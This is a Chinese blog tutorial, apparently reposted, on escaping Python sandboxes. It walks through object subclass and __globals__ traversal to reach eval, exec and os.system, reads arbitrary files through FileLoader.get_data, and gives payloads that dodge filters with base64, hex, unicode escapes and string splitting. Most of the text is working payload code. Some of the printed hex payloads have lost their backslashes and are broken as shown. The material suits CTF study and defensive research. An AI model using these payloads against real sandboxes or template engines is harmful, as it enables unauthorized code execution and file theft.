当前位置:首页 > IT技术 > 编程语言 > 正文

python沙盒逃逸(0)
2022-04-29 13:54:05

基础知识&基本操作

基本魔术方法

print(''.__class__.__mro__)    #获取类继承链
print(''.__class__.__bases__)  #获取父类(python支持多继承),返回值是元组形式
print(''.__class__.__base__)   #获取基类[单个回显]
print(''.__class__.__subclasses__())  #获取该类的所有子类
#__dict__ 返回所有属性,包括属性,方法等
#__init__ 类实例创建之后调用, 对当前对象的实例的一些初始化

获取子类

#打印Object类的所有子类
for i in range(0,200):
    try:
        thing=''.__class__.__bases__[0].__subclasses__()[i]
        print(i,' ',thing)
    except:
        Exception

获取全局函数

#寻找具有__globals__属性的类.
#只有被重载的类才有该属性。
#使用__init__初始化后,带有“wrapper”的说明没有被重载。
#Object本身没有被重载;从它的子类找。
for i in range(200):
    try:
        thing=str([].__class__.__base__.__subclasses__()[i].__init__)
        if 'wrapper' not in thing:
            print(i,' ',[].__class__.__base__.__subclasses__()[i])
    except:
        Exception

文件读取

#使用_frozen_importlib_external.FileLoader类进行文件读取
#这里我不太会查python文档之类的,只能用__dict__看这个类的所有属性,之后找看起来能用的试。
print([].__class__.__base__.__subclasses__()[100].__dict__)
#最后就找到了一个get_data,用法有个参数还没搞明白
print([].__class__.__base__.__subclasses__()[100].get_data('任意值','C:/Users/Dell/Downloads/app.py'))

寻找命令执行

#尝试寻找命令执行
#结果没找到eval方法,有几个类里有exec,但并没有exec方法(实际上是exec_method)。
for i in range(200):
    try:
        thing=str([].__class__.__base__.__subclasses__()[i].__dict__)
        if ('wrapper' not in thing)and(('eval' in thing)or('exec' in thing)):
            print(i,' ',[].__class__.__base__.__subclasses__()[i])
            print(i, ' ', [].__class__.__base__.__subclasses__()[i].__dict__)
    except:
        Exception
#转换思路;之前一直看的是python自带的类(Object及其子类)中的方法;
#现在,来看看内置函数。
#通过__init__.__globals__['__builtins__']查看初始化时即导入的内置函数。从哪个类进去都一样。
#这里面一般是有eval和exec的。
print([].__class__.__base__.__subclasses__()[135])
print([].__class__.__base__.__subclasses__()[135].__init__)
print([].__class__.__base__.__subclasses__()[135].__init__)
print([].__class__.__base__.__subclasses__()[40].__init__)
thing=str([].__class__.__base__.__subclasses__()[135].__init__.__globals__['__builtins__'])
if ('eval' in thing)and('exec' in thing):
    print('exist')
#eval和exec在返回值上有一些区别,此处先忽略.
#只要知道他能将字符串当成代码执行就行了。
#使用__import__动态包含模块,然后调函数即可。
#结合之前的内容,就搞出了一种常见payload
print(eval('__import__("os").system("whoami")'))
print(exec('__import__("os").system("whoami")'))
print([].__class__.__base__.__subclasses__()[135].__init__.__globals__['__builtins__']['exec']('__import__("os").system("whoami")'))

绕过姿势

以下绕过,均以

print([].__class__.__base__.__subclasses__()[135].__init__.__globals__['__builtins__']['exec']('__import__("os").system("whoami")'))

为例进行修改。

编码绕过

payload中引号内的(即字符串类型的数据),在调用的时候都可以使用编码绕过。

函数绕过

测试的时候需要外部库base64,感觉不太好用。

#python生成base64信息的样例
import base64
print(base64.b64encode('__builtins__'.encode()))

#样例payload;感觉真的不好用。
().__class__.__bases__[0].__subclasses__()[135].__init__.__globals__[base64.b64decode('X19idWlsdGluc19f'.encode()).decode()][base64.b64decode('ZXhlYw=='.encode()).decode()](base64.b64decode('X19pbXBvcnRfXygib3MiKS5zeXN0ZW0oIndob2FtaSIp'.encode()).decode())

字节码绕过

python中的.encode()对于可见的ascii字符不会输出其字节码,所以还得自己写转化。

#纯字节码的转化样例
x='__import__("os").system("whoami")'
y=''
for i in range(len(x)):
    y+='\x'+(hex(ord(x[i]))[2:])
print(y)

#样例payload
().__class__.__bases__[0].__subclasses__()[135].__init__.__globals__['x5fx5fx62x75x69x6cx74x69x6ex73x5fx5f']['x65x76x61x6c']('x5fx5fx69x6dx70x6fx72x74x5fx5fx28x22x6fx73x22x29x2ex73x79x73x74x65x6dx28x22x77x68x6fx61x6dx69x22x29')

Unicode绕过

跟字节码绕过差不多,但挺新奇的。

生成时,将\x改为\u00即可。

举例:x65x76x61x6c 变为u0065u0076u0061u006c

python默认支持Unicode;基本已经不采用它的原因是一般情况下前两位都是00,太浪费空间了。

拼接类绕过

以过滤flag为例:

join函数拼接:("fla".join("/g"))

注释拼接:fl''ag fl""ag

其他绕过&组合绕过

https://xz.aliyun.com/t/11090#toc-10

自己看吧。

本文摘自 :https://www.cnblogs.com/

开通会员,享受整站包年服务立即开通 >